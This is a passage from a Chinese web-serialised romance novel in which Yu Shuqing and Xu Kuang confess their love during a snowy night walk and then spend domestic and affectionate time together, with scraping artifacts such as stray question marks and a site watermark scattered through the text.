即使那天郁书青喝多了,也清楚地记得,徐矿几乎没什么技巧,完全就是本能的蛮力,按着他使劲儿怼。 他把杯子放茶几上,扬起嘴角:“起来吧,别跪着了。” 徐矿还抱着郁书青的腿,整个人蔫头耷脑的:“……哦。” “就在小药箱里?,自己拿。” “……好。” 没过?多久,微凉的触觉散在肌肤上,带着淡淡的药味,郁书青靠着沙发,此刻完全不担心?徐矿突发恶疾,趁机嘬他一口,刚才的话都说过?了,这人要是有点?良心?,就不敢再起什么旖旎的心?思。 解扣子的时候,都一脸的严肃。 多好,大大方方的。 指-尖顺着绕圈,动作很轻,郁书青还是不免皱了下眉,徐矿立马抬头:“碰疼了?” “没有,”郁书青懒洋洋的,“你继续。” 他其实,还挺享受被伺候着上药。 站在道德的制高点?上蔑视徐矿,很爽。 “好了,”徐矿小心?地给?他系扣子,“明早起来再看看,不行咱就叫医生过?来。” 郁书青站起来:“不至于。” 他伸手,按在徐矿的手背上:“别穿了。” 徐矿抬头:“啊?” 徐矿:“小咪你不要诱惑我,我这人经不起诱惑。” 徐矿:“虽然?知道这种微痛很带感,但还是对身体有些伤害,算了吧,我们可?以?培养点?别的共同癖好,啊不,爱好,小咪除了这个外你还喜欢什么?不行还是把衣服穿上吧,我怕我控制不住,你放心?我今晚绝对很老实的,要是不信的话就把你睡衣给?我,我拿着闻闻就够了。” 郁书青:“……闭嘴。” “我的意思是,不用再给?我穿睡衣了,找点?别的衣服。” 他边走,边把薄薄的纯色睡衣脱下,露出修长的肩颈。 “走吧,出门看雪。” 最终,还是在里?面穿了件柔软的打底衫。 没多久,就被裹成?了个球。 长款羽绒服的拉链拉到了顶,徐矿把郁书青的帽子竖起来,拿羊绒围巾给?系上,围太高了,又往下扒拉了点?,扒拉出一双漂亮的眼,郁书青说话都费劲:“热死?了……” “外面冷。” 他半跪在地上,给?郁书青穿鞋子:“你要是觉得冷了,就回来,别感冒了。” “我又不是三岁小孩……” “那可?不,下雨了知道往家跑,天冷了会戴帽子,”徐矿站起来,满意地打量了一圈,“成?,走吧。” 羽绒服是白色的,帽子上缀了圈浅色毛领,挠得脸颊稍微有点?痒痒,这件衣服还是郁雪玲给?他买的,说小咪你瞧,多好看啊,他基本上没穿过?,嫌太学生气了,可?能在老太太心?目中,他还是个小孩,总是致力于买这种可?爱风的东西给?他,所以?郁书青都是嘴上答应,实际上束之高阁。 徐矿倒是从?衣柜中,一眼看中了。 那就随他吧。 走进电梯厢,郁书青笑了起来,看着映出的身影:“咱俩像不像黑白无常?” 对方一身的黑,自己一身雪白,乍一看,还真?有点?那意思。 “现?在呢?” 徐矿从?后面抱着他,完完整整地给?人拢怀里?:“变成?了黑芝麻汤圆。” “你是傻瓜呀,汤圆的馅儿在里?面!” 电梯门打开了,经过?走廊,郁书青还在跟人吵吵嚷嚷的,等森*晚*整*理到走进夜色,才仰起脸,“哇”了一声。 漫天的雪花。 在路灯暖黄色的光晕下,仿佛无数片金色的羽毛,在空中纷纷扬扬,有一种圣洁的美。 “走吧,”徐矿把郁书青的手放自己兜里?,“我们去?堆个雪人怎么样?” “幼稚。” “那捏一排小鸭子呢,放在路边花坛上?” “也好幼稚。” 徐矿笑了起来:“我这么幼稚,你还喜欢我,难道你不幼稚吗?” 可?能是衣兜里?的空间太小,掌心?紧紧贴着,都有些发烫。 郁书青垂着睫毛,说出的话都带了白气:“谁说我喜欢你。” “那我拜托你,喜欢我一下。” 徐矿拉着郁书青的手,一步步地走进雪里?,有小雪花落在睫毛上,很快融化,变成?挂在上面的水珠。 这会儿比较晚了,小孩们都被赶回家睡觉,一路上,只遇见了贪玩的年轻人,三五成?群,在路边打雪仗。 风并?不大,世界安安静静地下雪。 踩在厚重的雪地上,发出“咯吱咯吱”的声音。 郁书青鼻尖有点?红,说话带喘:“可?能你喜欢的……是曾经的我,我们很多年没见了,相处的日?子也不长,现?在的我,不一定还是以?前的样子。” “我有很多缺点?,有自己的私心?。” 郁书青语气很慢:“也有不光彩的想法……总之,你可?能对我有滤镜,毕竟记忆会美化,你需要跳出来。” 徐矿不紧不慢地跟着,肩上落满了雪。 “小咪,你记不记得我跟你说过?,你这人有时候挺奇怪的。” 他低低地笑了一下:“好像对自己很爱惜,又好像完全不在乎自己。” 郁书青没有回答。 “但是没关系啊,”徐矿停下脚步,站在郁书青面前,“你什么都不做,我就很喜欢你。” “做了也没关系,还是喜欢你。” 郁书青仰着脸看他。 “那么,”徐矿笑得眼睛弯起来,“你要不要也喜欢我?真?的,我这人挺不错的,你就考虑一下呗,要是我有什么缺点?,麻烦你帮忙指正,我听劝的。” 他抱住了郁书青,左右摇晃着,幼稚极了。 因为都穿得很厚,简直像冰天雪地里?的两只企鹅,出门没考虑去?哪儿,就顺着路边往前走了,周围没什么人,只能听到裹挟着雪的风声。 以?及郁书青的叹气。 “怎么了,”徐矿低头,去?亲人家的脸,“是不是有些不开心??那我不提这个了,回去?再说。” 反正追郁书青,徐矿已经做好了打持久战的准备。 “没事,”郁书青的脸颊可?能被风吹得了,红扑扑的,“就是感觉,你真?是一只鬼。” 徐矿抬头:“啊?” 在家里?的时候,郁书青就提到这一句了,给?他整的摸不着头脑,这会儿又是深夜,还挺渗人,徐矿嗷一嗓子把脸埋人家颈窝处,蹭来蹭去?的。 “你是不是在故意讲这些话来吓我,我很不经吓,很胆小的!听鬼故事就会不小心?摔倒,那你就得负责给?我亲亲才能好……” 耳畔传来温热的触感。 徐矿怔住。 郁书青闭着眼,睫毛微微抖动,一点?点?地去?亲他的脸—— 在学徐矿呢。 亲热的时候,徐矿最喜欢这样亲郁书青,像蹭来蹭去?的小狗,像扑着翅膀的蝴蝶,从?耳朵到眼皮儿,到脸颊,再到长着小痣的嘴唇。 郁书青低低地笑着:“没有故意吓你。” 徐矿已经站直了,整个人都有点?傻,因为郁书青很温柔地拥抱着他,把脸埋进了他的胸膛。 心?跳频率逐渐一致。 “是我在鬼迷心?窍。” “也很喜欢你。” 第68章 第 68 章 雪一直在下。 徐矿也一直在抱着他。 不知道该说什么, 这个时候好像把一切都给说了,脸颊被风雪吹得发烫,发疼, 怀里?的人又?那么暖, 果?然冬天最好的取暖方法就是挤在一块, 无论?是枝头毛茸茸的鸟雀, 还是笨拙地蹲在冰层上的企鹅,亦或是被徐矿抱着的郁书青, 都贴得那么紧, 仿佛要把对方完完整整地按进?自己?的怀里?。 过了会儿, 徐矿低头去亲他。 “再说一遍。” 他亲郁书青的眼皮儿:“我要听。” “嗯, 我也很喜欢你。” 郁书青声音闷着:“没听清楚吗?” “没有,还想听。” “别撒娇。” “不喜欢我撒娇吗?” “好吧,其实也挺喜欢的……” 幼稚死了, 都笑起来。 徐矿捧着他的脸, 左看右看, 看得给自己?的一颗心都弄软和了:“真的吗, 感觉像是在做梦。” 说着, 他就伸手捏了下郁书青的脸。 “啊,是热乎的,不是梦。” 郁书青没躲,任由对方捏自己?的脸:“是梦也挺好的。” “不要, ”徐矿立马警惕起来, “我不要做梦才和你在一起。” 终于分开了,都微微地喘着气, 周围太静谧,雪花又?太过梦幻, 感觉天大地大,世?界只剩下这么小小的一隅,能让他们?相依偎,刚才亲的时候还不害羞,但?是稍微拉开了点距离,彼此视线相接的时候,郁书青有些难为情,生硬地移开目光:“我们?……” 他本来想,要不要等回去了再好好谈谈。 但?是下一秒,他就在怔然中双脚离地,被人完完全全地抱了起来—— 郁书青:“?” 姿势很滑稽。 徐矿把手伸进?他的胳膊下,直愣愣地把人抱起来,就像举起一只洋娃娃似的,上一次郁书青见到这样?的姿势,还是山谷上的狮子王辛巴。 然后,徐矿维持着这个动作,举着郁书青旋转了起来:“飞啦!” “……你神?经?病啊!” 郁书青被甩得很高,双手悬空,狼狈地把手按在徐矿的肩膀上:“太蠢了,放我下来!” “不放!” “你这是在做什么?” “我在开心!” 徐矿的眼睛亮晶晶的,一直在笑,他这会儿不仅想给郁书青举起来,举得很高,最好能到天上去,让所有人都仰望,又?想和人抱在一起打滚,从厚厚的雪地滚到长满青草的山坡,怎么这样?幸福呢,他居然从郁书青的嘴里?,听到了我喜欢你。 郁书青喜欢他。 不仅仅是喜欢自己?的身体。 因为喜欢,所以才愿意和他做,才无奈地纵容着他,徐矿在雪地里?疯了好一会儿,终于停了下来,喘息着拉住郁书青的手:“头晕吗?” 郁书青站稳了,瞪过来:“傻瓜!” “我还想和你打滚,一起躺在雪地里?,压出两个姜饼人似的形状。” 徐矿把对方的手放到嘴边,亲了亲:“对不起,我真的太高兴了……” 他得克制一下。 否则一点也不酷,完全不符合自己?之前的形象,虽然一开始他对郁书青有芥蒂,形象没有维持好,但?现在好不容易追上了,总得再…… “来吧。” 郁书青张开双臂,眼睛弯弯的:“你不是要打滚吗?” 幸好现在快到深夜,又?临近公园,周围没什么人。 不然谁见到两个成年男人一块躺在雪地上,仰着脸大笑,都会觉得是俩神?经?病。 但?真的好幸福。 身下是厚实的雪地,旁边是刚给自己?表明心意的爱人,徐矿转过脸看郁书青,感觉自己?睫毛都挂了水汽,郁书青也在看他,围巾已?经?完全散开了,露出一张素净的脸,徐矿看了会,叫了声小咪。 雪还是好大,打着旋从夜空中落下。 徐矿又?叫:“宝贝。” 郁书青用手捂住自己?的脸,答应了一声:“嗯。”- 到家后,第一件事就是换衣服。 外套又?湿又?脏,头发也是湿的,徐矿给郁书青推进?浴室,自己?去厨房煮姜茶,原本说好要堆雪人,或者在花坛上捏一排小鸭子,但?可?能气氛太好了,没留神?就把话从嘴里?溜了出去,结果?俩人对着傻乐半天,压根没能玩雪。 郁书青抱着自己?的膝盖,把身体完全埋进?温热的水里?,终于体会到那句话,喜欢就像咳嗽似的,捂都捂不住。 他是从什么时候喜欢徐矿的呢? 说不上来。 仿佛见到对方的第一眼,就本能地信任。 之后的相处虽然吵吵闹闹的,也经?常恨不得给这个傻瓜扔出去,但?真的会觉得温暖,那种在楼下仰着脸往上看,发现有一盏灯亮着,在等自己?回家。 很奇异的心安感。 还以为是因为脸而一见钟情呢。 原来,真的是久别重逢。 徐矿去兴安岭的这半个月,他也没闲着,私下里又去找了次王亮程老师,打听到了更多的信息。 虽然还云里?雾里?,但?郁书青基本断定?了一件事。 那就是徐矿离开的那段日子,他的确被人死缠烂打地追求,但?具体是谁,别说王老师了,连身边的好友也没听说过。 这倒在郁书青的意料之中。 他不是会炫耀自己?受欢迎的人,在取向尚不明确的少年时期,遇见同性的猛烈攻势,自然会躲避,并且为了保护隐私,也不会大张旗鼓地宣扬。 至于为什么会按在徐矿身上,原因郁书青还没能确定?。 可?能是他俩认识的人,或者说其中有什么误会,让他,或者让王老师以为,是徐矿在追求自己?。 郁书青思?考过,如果?是十五岁的他,知道一起长大的朋友喜欢上了自己?,会是什么反应? 他想象不出来。 因为在郁书青的记忆里?,十几岁的少年时光,他并没有什么旖旎的想法,把全部的精力都放在了学习和家人身上,小小的一颗心里?装不下太多,只有爷爷奶奶和大咪,后来大咪走了,爷爷的记忆越来越差,郁书青就迫不及待地想要长大,想要让别人来依靠自己?。 他连那种成人过程中的梦,都没怎么做过,像是不知不觉就长大了。 以至于后来失忆,也没太大感觉。 似乎没忘记多重要的东西,和以前的生活没什么两样?。 那场车祸来得突然,也很凶险,郁书青撞到了头部,在医院躺了不少时间,醒来费了不少的功夫,最开始睁开眼睛的时候,他连自己?的爷爷奶奶都不认得了,治疗的过程中,才逐渐把以前的人慢慢想起。 还有些事没想起来,但?可?能不太重要。 浸泡在浴缸里?的郁书青叹了口气。 只是为什么……偏偏把徐矿给忘掉了呢? 他想起了找王老师时,对方说过的话。 “你俩那时候关系不错,叫什么想不起来了,但?我记得楼上那个小子,每天都下来帮你拎书包,给你带早饭。” “那些早恋的小情侣,腻歪的时候也没这么殷勤!” 郁书青的下巴都没进?水里?了,自个儿在那咕嘟着泡泡玩。 算了。 郁书青决定?不再纠结。 反正在他人生的成长中,已?经?逐渐明白了很多道理。 也在慢慢地学着爱自己?。 因此,哪怕结局不太好,即使自己?真的受到了欺骗,郁书青也能接受,他不害怕受伤,现在的自己?,不再是曾经?在雨夜里?抱着小猫哭泣的少年,因为那场差点死去的车祸,令他清楚地意识到—— 死亡并不可?怕。 而活着,才是更需要鼓起勇气的一件事。 脚步声在旁边停下。 郁书青的头埋得很低,没动。 徐矿伸手过来,摸了摸他的头发:“……好可?爱,小鱼吐泡泡。” “我洗好了,”郁书青这才抬头,“你呢?” “刚煮好姜茶,你要不要再泡会,我端过来给你喝?” 他摇头:“不用了,我这就起来。” 从昨晚到现在,他俩荒唐的时间不少,郁书青的胸前还微微发胀发疼呢,小腿肚子也泛着酸软,压根撑不了那么久。 徐矿用浴巾给他包住,又?拿毛巾擦头发:“有没有好一点?” “嗯。” 换好衣服,就坐在沙发上喝红枣姜茶,那么大的地方,非要挤着坐一块,挨就挨了,徐矿还一定?要拉着郁书青的手,牵住不动。 郁书青就惯着他,随便他牵。 热乎乎的姜茶喝进?肚子,所有的疲惫全都消失,暖气很足,隔着落地窗看外面的楼宇和洁白,会有种冬眠中偷懒的感觉,徐矿嘟嘟囔囔的:“真好。” “前两天我在山上点篝火,”他把脸埋郁书青的颈窝里?,“那儿好冷,穿得再厚,风一吹就感觉骨头渣子都疼,火堆燃起来,大家都哆嗦着伸手去烤,那个时候,我好想你啊。” 郁书青腾出一只手,摸了摸对方的脸:“我在呢。” “我在那里?的朋友叫老闫,你记得吗,我给你看过照片的。” “记得。” “他的帽子和手套都是媳妇缝的,针脚特?别密,”徐矿继续道,“我和高元都快冻死了,这小子压根受不了那温度,一直嗷嗷叫要下山,老闫就乐呵呵地看着我俩,我不服气,说你穿得那么厚……” 说着,他就“哼”了一声。 “等将?来我学会缝了,也给你做一套。” 郁书青听着就笑了:“好。” “不过用柴火烧出来的玉米真好吃,我跟老闫吃那会儿,高元还嫌脏,后来尝了口就不吭声了,抢得比谁都欢。” 过了凌晨,两人都没有睡意,也不想找电影看,就这样?依偎在一块儿说话,声音低低的,徐矿乱七八糟地讲,什么都说,说东北的天好辽阔,土壤是黑色的,等到兴安杜鹃开的时候,他就带着郁书青一起来看。 郁书青就笑着听他讲,偶尔问一两句。 “行,到时候我休年假,咱们?开车去吗?” “开车太受罪了,坐飞机吧。” “可?以。” “你要是喜欢那种自驾的感觉,我们?可?以等到秋天去西藏。” 聊着聊着,位置就变了,手里?的姜茶都放回桌子,郁书青坐在沙发上,肩上披了件柔软的毛毯,徐矿整个人都躺着,脑袋枕在郁书青的腿上,像头毛茸茸的大型犬,在寒冷的冬天撒娇,任由主人为他顺毛。 “都行,我也好久没有出去玩过了。” 郁书青想了想,自从大学后,他的“旅行”几乎就局限为跑山,骑着摩托去郊外看看父母,然后在宽敞而肃穆的道路上驰骋,在飞一般的速度中,感受风和飞溅的小石子。 徐矿伸出小指:“拉勾。” “……多大的人了。” 郁书青嘴上这样?说,还是配合着伸出手:“对了,你刚说的那个高元,是你朋友吗?” 突然想到的,感觉名字似乎有些耳熟。 拉完勾,徐矿顺势给郁书青的手完全包住:“不算。” 郁书青“哦”了一声,没再继续问。 徐矿倒是抬头看来:“你认识吗?” “不认识,”郁书青想了想,“就是感觉挺熟悉的。” “以前初中一块儿玩过,”徐矿重新趴下,枕在郁书青的大腿上,“是不是那个时候,你见过他?” 有可?能吧,郁书青没多想。 可?徐矿的语气严肃了些:“如果?他联系你,或者你听说了关于他的事,一定?要告诉我。” “为什么?” 徐矿斟酌了下语言:“他有敌意。” 否则,何必在返回的途中,开着手机偷偷录音,还故意说一些模棱两可?的话,引他往坑里?跳。 但?现在他刚安排人去查,还没结果?。 郁书青点头:“好,我明白了。” 小插曲很快揭过,没有再继续讨论?,因为两人说着说着,就同时沉默了下来—— 偶尔也会这样?。 热闹的聊天中,突然一起安静下来,可?能是看到了对方唇上的小痣,可?能是被那温柔的眼神?所吸引,或者……或者压根就没什么原因,就是想要亲了。 郁书青看着徐矿,然后低头,吻住了他。 暴风雪没有变小的趋势,越来越大,在屋里?都能感觉到外面的风声呼啸。 吻也在逐渐深入。 郁书青感觉被按住后颈,刚开始,主导权还在自己?手中,但?是徐矿一点点地调整角度,反复地勾着他的舌-尖,他明明是坐着的,在上位的那个,却变得丢盔弃甲,脸颊泛红,以至于在短暂的失神?中被人抱了起来,轻巧地换了姿势。 徐矿把郁书青按在沙发上,居高临下地看过来:“宝贝。” 他的衣襟被抓皱,整个人也在气喘吁吁,眼眸里?全是笑意:“不行,我要再确定?一遍……我们?是在一起了吧?回答我嘛好不好,不要敷衍,人家就要亲耳听你说,听你叫老公好不好,哎呀老公你快点说句话嘛。” 郁书青的呼吸有点重:“你再废话,我就后悔了。” 徐矿弯腰,嚣张地拨开郁书青微湿的额发:“晚了,后悔没用。” 惦记着不久前刚折腾完,徐矿没有继续下一步的动作,只是反复地去啄吻郁书青的脸颊,撒娇,说不行的,你现在就要给我身份,不然我就不起来,我要告状的,告到中央! 郁书青被拱得不行,一直笑,这人太不要脸,边亲还要边挠他痒痒,打定?主意给郁书青弄得受不了,亲口给他名分才行。 “是在一起……我答应了。” 郁书青拿抱枕丢他,挡在自己?身上,以防被徐矿亲得满脸口水:“但?是你如果?继续这样?,我真的……” “真的什么?” 徐矿咬住了他的手指。 一点点地往里?吞。 郁书青瑟缩了下,没躲。 姜茶里?一定?加了太多红枣和冰糖,否则不至于这个时候,空气中还氤氲着香甜的味道。 徐矿就这样?咬着郁书青的无名指,定?定?地注视着对方,没再嬉皮笑脸,神?色严肃。 “你不要……唔!” 话没说完,就传来突兀的痛感。 徐矿这才满意,放开了郁书青的手,认真地端详无名指根部的咬痕,不深不浅的牙印,像是标下的记号,表明他的占有。 “我的。” 他把郁书青的手握住,重复了一遍:“我的。” “嗯,”郁书青无奈地看他,“你的。” 曾经?的大咪也是这样?,在他手上狠狠地咬了一口,一只小病猫,还淋了雨,能有多大的力气呢?但?它还是弓着背朝郁书青哈气,表情很凶,是一位坚持到最后的战士,永远不肯放弃—— 郁书青把它抱回了家。 以至于后来变成体重超标的猪咪,还要天天躺在郁书青的床尾睡觉。 “学人家大咪呢,”他揉了揉徐矿的头发,“放心,我答应过你了。” 毕竟早就给人领回家了。 徐矿拉起他的手,放在自己?肩上,隔着漫长的时间和距离,去摸那个旧日的伤疤。 他看着郁书青的眼睛,满眼笑意:“谢谢。” “我也……早就是你的了。” 第69章 第 69 章 郁书青对?着天空抬手, 乌润的?眼眸眯起,看起来?有些茫然。 无名?指上的?牙印,居然还?在。 昨天晚上确定关系, 徐矿跟狗似的?在他手指上啃了一口, 这个?位置的?含义太明显, 郁书青没?多说什么?, 只?是今早起来?的?时候,略微叹了口气。 没?办法, 宠着吧。 他要去上班, 徐矿也得去工作?, 早上在玄关为彼此系领带的?时候, 对?方就?跟个?淋过雨的?大型犬似的?拱来?拱去,把脑袋埋在自己颈窝处蹭——徐矿很喜欢这个?动作?,可以完全嗅到郁书青脖颈处的?味道, 要是运气好, 还?能被顺着揉一把脑袋, 得到一句奖励。 郁书青夸他乖, 说别撒娇了, 要迟到了。 虽然,他自己也差点没?能把持住,真真切切地体会了一把什么?叫“君王不早朝”,因为这混蛋心机太深, 早上定闹钟提前起来?, 去洗澡喷香水做发型,然后悄咪咪地躺回床上, 很不小心地滑落衣襟,露出大片的?胸膛。 超不经意呢! 郁书青眼睛一睁开, 就?是大奈。 呼吸一滞。 “啊,好困。” 徐矿就?会使劲儿伸个?懒腰,顺手给人揽在怀里?:“我们眯一小会就?起来?,好吗?” 当然好的?,因为时间再长一点,郁书青就?得闷死在奈里?。 除了这个?之外,徐矿送他上班,停车的?时候也要凑过来?接吻,两个?人同时闭上眼,感受对?方的?唇舌和呼吸,真奇怪,明明只?是嘴唇上的?辗转,亲的?次数也很多了,为什么?每一次,都能感觉过电一般的?战栗,就?好像周围一切都在飞速褪色,只?有爱人的?在温暖地包裹。 现在的?徐矿,接吻的?技术好了许多。 不再是依靠本能地去顶开齿关,横冲直撞地掠夺,他会一点点地勾郁书青的?舌-尖,逗人家不由自主?地追过来?,就?像晚上的?时候,徐矿很喜欢郁书青在上面,那种看似牢牢把控,却由于刺-激而向后仰起最脆弱的?脖颈——还?是心机,看似把主?动权全部交给了郁书青,可被吻到呼吸不过来?,丢盔弃甲的?也是郁书青。 这样下去太黏糊了,不行。 已经在车里?整理?过仪容了,但进电梯的?时候,郁书青还?是低头?检查了下扣子。 心虚。 这人不要脸,亲都亲了,把后腰处的?衬衫揉皱也罢了,还?非要把下摆撩起来?,伸手进去摸。 幸好郁书青今天已经恢复了,没?有继续抹红霉素药膏。 所以,一定不会被看出来?。 不会被看出来?。 ……草,被看出来?了。 “脸上带着莫名?其?妙的?微笑,发呆,整个?人就?是一副润泽的?模样,从里?到外都在发光,您见过那种吸饱水的?海绵球吗,完全一样。” 白可心唰地一下把文件放桌上,面无表情:“签字。” 郁书青目光飘忽,拿钢笔的?时候咳嗽两声:“很明显吗?” “非常明显。” “哦……” 郁书青不说话?了,有点郁闷。 什么?叫他是吸饱水的?海绵球啊,说得他是什么?吸人精魄的?妖怪似的?,按理?说也是徐矿吸他,他完全就?是被按着的?那个?…… “以及,突然脸红。” 白可心把文件拿起来?,目光冷峻:“你在想什么??” 郁书青一激灵:“什么?都没?想。” “撒谎!一定满脑子都是涩涩的?事情!不然为什么?变成脸红的?泡泡茶壶,上一次我看你这个?表情,还?是被人捡回去内……” “可心,” 郁书青站了起来?,微笑道:“再乱讲扣工资。” 白可心立马噤声。 他边往外走边扯领带,还?顺手揉了把白可心的?脑袋:“我走了。” 白可心跟在后面:“哼。” 郁书青挑了下眉梢:“你好像很不服气的?样子。” “没?有,”白可心否认,“我只?是在想,嫂子哥这次在家待多久?” “后天走,”郁书青想了想,“一早就?出发。” 暴风雪在今天已经停了,狂风似乎席卷了天空所有的?杂质,白天的?时候,苍穹一碧万顷,是很久没?有见过的?辽阔的?深蓝,连一丝云都没?有,有种不真实的?美感,这会儿夜幕初生,是幽静的?孔雀蓝。 电梯门打开,白可心幽幽开口:“那你明天还?上班吗?” 郁书青顿了顿:“看情况。” “好,那我有事跟你打电话?,”白可心脸上没?什么?表情,“应该不会有什么?意外,你们放心玩哦,慢慢玩哦!” 这话?越听越不对?味儿,郁书青侧过脸来?:“怎么?了?” “没?什么?,”白可心幽怨道,“大概是感觉自己哥哥被人抢走了吧,一边开心,一边又有点忧伤,没?事,闺蜜上次结婚的时候我也这样。” 郁书青失笑:“我俩不是早就订婚了?” “那不一样。” 电梯门打开,两人从里?面出来?,白可心斟酌道:“以前你没?那么?认真……我也不知道该怎么?说,反正就?是,现在不一样了,你已经被他迷得神魂颠倒,茶饭不思了!” 郁书青:“不至于。” “总而言之,”白可心深吸一口气,“我是为你高兴的?,哥,真好。” 她很希望郁书青能得到幸福。 太明显了,自从这个?可恶的?家伙出现后,她一点点地看着郁书青沦陷,不经意的?对?视,悄然红透的?耳尖,本能地从人群中寻觅身影,可能彼此都没?有意识到,已经完全把对?方放在了心间,这种感觉太黏糊,和她大学寝室楼下难舍难分的?小情侣一模一样。 大晚上的?不睡,还?在那亲嘴。 不过人家都是十八九岁的?年纪,疯狂就?疯狂点吧。 没?想到她哥都二十六了,最开始还?满不在乎说要协议婚姻,不讨论感情,现在只?要她提一句徐矿的?名?字,那眼神温柔得—— 白可心沉默了下。 “看你的?表情,”她轻轻地叹了口气,“感觉能两年抱仨。” 郁书青站住了,徐矿在车里?等着,可能还?没?看到他俩出来?,车门紧闭,他转过身:“过来?。” 白可心:“嗯,需要我送你回家吗?” “不是,”郁书青摇摇头?,“过来?。” 白可心警惕地打量着他:“哥,我也没?说啥啊……” 嘴上这样嘟囔,还?是慢吞吞地朝郁书青走了过去,距离拉近的?同时,郁书青展开双臂,把她抱进了怀里?。 “我没?变,你也没?有失去我,”他语速很慢,“是我们又多了个?家人。” 寂静的?地下停车场里?,郁书青认真地拥抱了自己的?妹妹,分开的?时候笑了,伸手去扯纸巾:“怎么?还?哭鼻子了……” 白可心:“哇呜呜呜,哥我真的?为你高兴!” 她接过纸巾,使劲儿擤鼻子:“没?事,你不用安慰我或者说什么?,道理?我都明白,我只?是太高兴了呜呜呜……” 很多话?不必多说,一个?拥抱就?够了。 “好,”郁书青又递过去纸巾,“那明天,我就?不上班了?” 白可心一口答应:“放心,全部交给我!” “好,”郁书青朝她挥手,“后天见。” 他没?再说什么?,拉开副驾驶的?门,徐矿在里?面坐着,视线相对?的?刹那,捏着郁书青的?下巴,凑近。 两人接了个?很安静的?吻。 “她怎么?了,没?事吧?” “没?事,”郁书青坐好,由着徐矿为他系好安全带,“可能我表现得太夸张了,得收敛一下。” 徐矿笑着踩下油门:“收敛什么??” 郁书青随口道:“可心说,看我的?表情,感觉咱们马上就?能三年抱俩。” 车辆引擎声很大,咆哮着驶出低下停车场,光线变明亮的?瞬间,徐矿的?喉结滚动了下。 等等。 郁书青敏锐地偏过脸:“你在想什么??” 原来?白可心没?有说错,一个?人脑子里?在想涩涩的?事情时,真的?会变成一个?泡泡茶壶,太明显了! “咳,”徐矿目不斜视,“在想一些过程。” 郁书青:“?” 他明白了,脸也跟着发烫:“不行,你不要脸!” 徐矿声音越来?越小:“我还?什么?都没?说呢……” 可以了,很多话?不必说得那么?清楚,彼此就?已经心知肚明! 他俩亲热的?时候,除了最开始那两次,之后的?安全意识挺好的?,一方面的?确为了健康考虑,另一方面就?是郁书青会害臊。 尤其?是被抱去浴室的?时候……太难为情了。 有时候上头?了,徐矿也会难耐地咬他的?耳朵,问不用了行吗。 郁书青色令智昏,说好。 但最后,还?是用了。 徐矿也就?过过嘴瘾,所以这会从郁书青嘴里?听见那几个?字,不由自主?地想到了一些过程。 路边的?积雪都已铲除,树影婆娑,这会儿已经过了下班高峰期,两边的?路灯像是飞速而过的?流星,连绵出模糊的?重影。 天气预报说,今晚会再下一场小雪,不大,很快就?能结束。 郁书青偏过脸:“今晚去哪儿?” 徐矿说了,要带他一起吃饭。 虽然他想在家里?吃点就?好,然后尽情地亲热,哪怕什么?都不做也很快乐,只?要能贴近彼此,郁书青现在很喜欢这种感觉,心无杂念地享受另一个?人的?怀抱。 “吃法餐,”等红灯的?时候,徐矿握住了郁书青的?手,“我们喝点热红酒怎么?样?” 他对?米其?林大餐,精致的?环境和摆盘没?所谓,主?要就?是想和郁书青在一起,做些小情侣会做的?事,吃饭,拍照,一块儿看电影,然后拉着手一起回家。 “离家不远,”车辆在路边停下,徐矿绕到副驾驶,为郁书青拉开车门,“吃完我们走回去,行吗?” 郁书青瞥他一眼:“我看你是想把我灌醉。” “醉了我就?背回去。” “不是捡?” 徐矿低低地笑起来?:“你说,我运气怎么?这样好呢?” 郁书青把指尖搭上去,借着徐矿的?手下车,矜持道:“是啊,什么?好处都让你占了。” 外面还?是冷,北风萧瑟,徐矿把郁书青的?手放自己兜里?:“那我希望,你也是天底下最幸运的?小孩。” “……肉麻。” “怎么?了,说点情话?不好吗!为什么?要用这个?表情看我,郁小咪你就?是还?没?习惯而已,以后我每天都跟你告白写情诗你不就?慢慢习惯了,俗话?说得好,温水煮青蛙,等你习惯的?时候会不会也跟我讲情话??” 郁书青偏过脸,没?反应。 徐矿继续:“你看,以前你多害羞啊,连腿都不愿意让我看,现在我们不仅在一起,你还?让我看腿了,这不就?是一种进步吗?下次记得多发点照片,好让我独自一人守着漫漫森*晚*整*理长夜……笑什么?笑,再笑我就?亲你了!” 以前,他也这样威胁过郁书青。 郁书青都是立马不笑了。 但是现在,旁边的?人低着头?,因为忍俊不禁而肩膀微微抖动,听到话?才抬眸过来?,眼睛很亮,唇角仰起:“好。” 这个?笑,实在太漂亮了。 徐矿看呆了一瞬。 清醒过来?时,已经捧着脸吻过去了。 什么?法餐小提琴一块儿散步……他现在完全不想去了,只?想给郁书青抱回家使劲儿亲,后天的?机票也恨不得能退掉,或者能不能上苍显灵,把郁书青变得很小,让他能够揣兜里?带着,去到哪儿都能看到。 或者把他变小也行,他就?天天钻郁书青怀里?睡觉。 他发现了,郁书青睡觉的?时候,似乎挺没?安全感的?,身体是蜷曲的?,只?占了床边一角,肢体语言都非常拘谨,他曾经无意间和郁雪玲说过这件事,对?方笑呵呵地讲,是不是因为小时候在纸箱里?睡习惯了,所以喜欢缩着睡。 纸箱? 徐矿当时就?拧起眉头?了。 但是郁雪玲没?怎么?在意,说以前郁书青不爱出门,有段时间喜欢在储藏室玩,家里?的?阿姨都找不着他,叫半天也没?人应声,后来?还?是在大纸箱里?发现的?,果然,男孩子都喜欢玩这种游戏呀。 从此以后,徐矿就?尽可能地抱着郁书青睡,一点点地拍着对?方的?后背,感受僵硬的?肢体慢慢放松。 他喜欢郁书青赖床,喜欢郁书青睡觉的?时候乱蹬,给他踢下去也没?关系,他得跟所有人炫耀说看我爱人多厉害,小野猪似的?,真有劲。 真可爱。 “……回去吧。” 他的?声音闷在郁书青耳边:“我受不了了。” 郁书青的?手抵着对?方的?胸口,跟着笑:“这就?受不了,你不行啊哥哥。” 徐矿轻轻地呼出一口气,把作?乱的?手抓住:“那……就?在这里?吧?” 郁书青:“啊?” 在哪儿,在外面? 不可以!他脸皮没?那么?厚,怎么?能做出打野战的?事! 可徐矿已经扯着他的?手,往车的?方向走了。 天气预报很准,雪真的?下了,好小,很细碎的?雪籽,由于温度低,落在地上也没?有融化,看起来?像撒了层薄薄的?盐。 “你冷静一点!” 郁书青不住地挣扎:“能不能不要这么?色欲熏心,我饿了,我要吃饭……啊我说的?是吃食物,是真的?那个?饭,你控制一下你自己!” 这要搞起来?的?话?,又得到凌晨! 还?不一定能完全结束! 可徐矿一言不发,冷着脸往前走,力气大得吓人,几乎是把郁书青拖着前行。 郁书青还?在滋儿哇叫,说不行,他不要野战,如?果徐矿真的?敢给他衣服扒了,他一定会给人弄死,在车上倒是也可以,但他是真的?肚子饿了,能不能等吃饱了再…… 